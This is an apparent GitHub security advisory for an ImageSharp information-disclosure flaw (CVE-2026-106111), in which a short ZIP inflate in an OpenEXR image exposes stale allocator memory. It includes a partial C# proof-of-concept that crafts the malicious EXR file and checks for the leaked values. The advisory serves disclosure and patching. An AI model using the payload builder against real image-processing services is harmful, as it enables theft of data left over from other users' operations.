GitHub Advisoryadvisory · NuGet

GHSA-4q3p-rj5x-xv7p ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate

MEDIUM Published 2026-10-07 Modified 2026-10-07 Official page ↗
Aliases
CVE-2026-106111
Ecosystem
NuGet
Packages
SixLabors.ImageSharp
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-226
Reviewed
2026-10-07

Affected packages

• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2

Description

Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. Affected package and versions • Package: `SixLabors.ImageSharp` (NuGet) • Affected published releases: 4.0.0, 4.1.0, and 4.1.1 • Affected range: `>= 4.0.0, 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}"); Console.WriteLine($"mode={(exploit ? "exploit" : "control")}"); EncodePriorOperation(); // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024 // uncompressed bytes. The control payload supplies all 1024 bytes. // The exploit payload supplies eight non-empty bytes. byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float)); using Image result = Image.Load( new DecoderOptions { Configuration = Configuration.Default }, new MemoryStream(exr)); result.DangerousTryGetSinglePixelMemory(out Memory memory); int firstLeak = FindPriorValue(memory.Span); Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}"); Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}"); if ((firstLeak >= 0) != exploit) { Console.Error.WriteLine("unexpected disclosure result"); return 1; } return 0; } private static void EncodePriorOperation() { using var previousImage = new Image(PriorWidth, 1); for (int x = 0; x pixels) { int expectedBits = BitConverter.SingleToInt32Bits(PriorValue); for (int x = 0; x < pixels.Length; x++) { if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits) { return x; } } return -1; } private static byte[] BuildAttackerExr(int inflatedBytes) { byte[] compressed = ZlibCompress(new byte[inflatedBytes]); using var output = new MemoryStream(); using var writer = new BinaryWriter(output); writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic writer.Write((byte)2); writer.Write(new byte[] { 0, 0, 0 }); using (var channels = new MemoryStream()) using (var channelWriter = new BinaryWriter(channels)) { WriteString(channelWriter, "R"); channelWriter.Write(2); // FLOAT channelWriter.Write((byte)0); channelWriter.Write(new byte[] { 0, 0, 0 }); channelWriter.Write(1); channelWriter.Write(1); channelWriter.Write((byte)0); WriteAttribute(writer, "channels", "chlist", channels.ToA…

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-226 Sensitive Information in Resource Not Removed Before Reuse weakness

References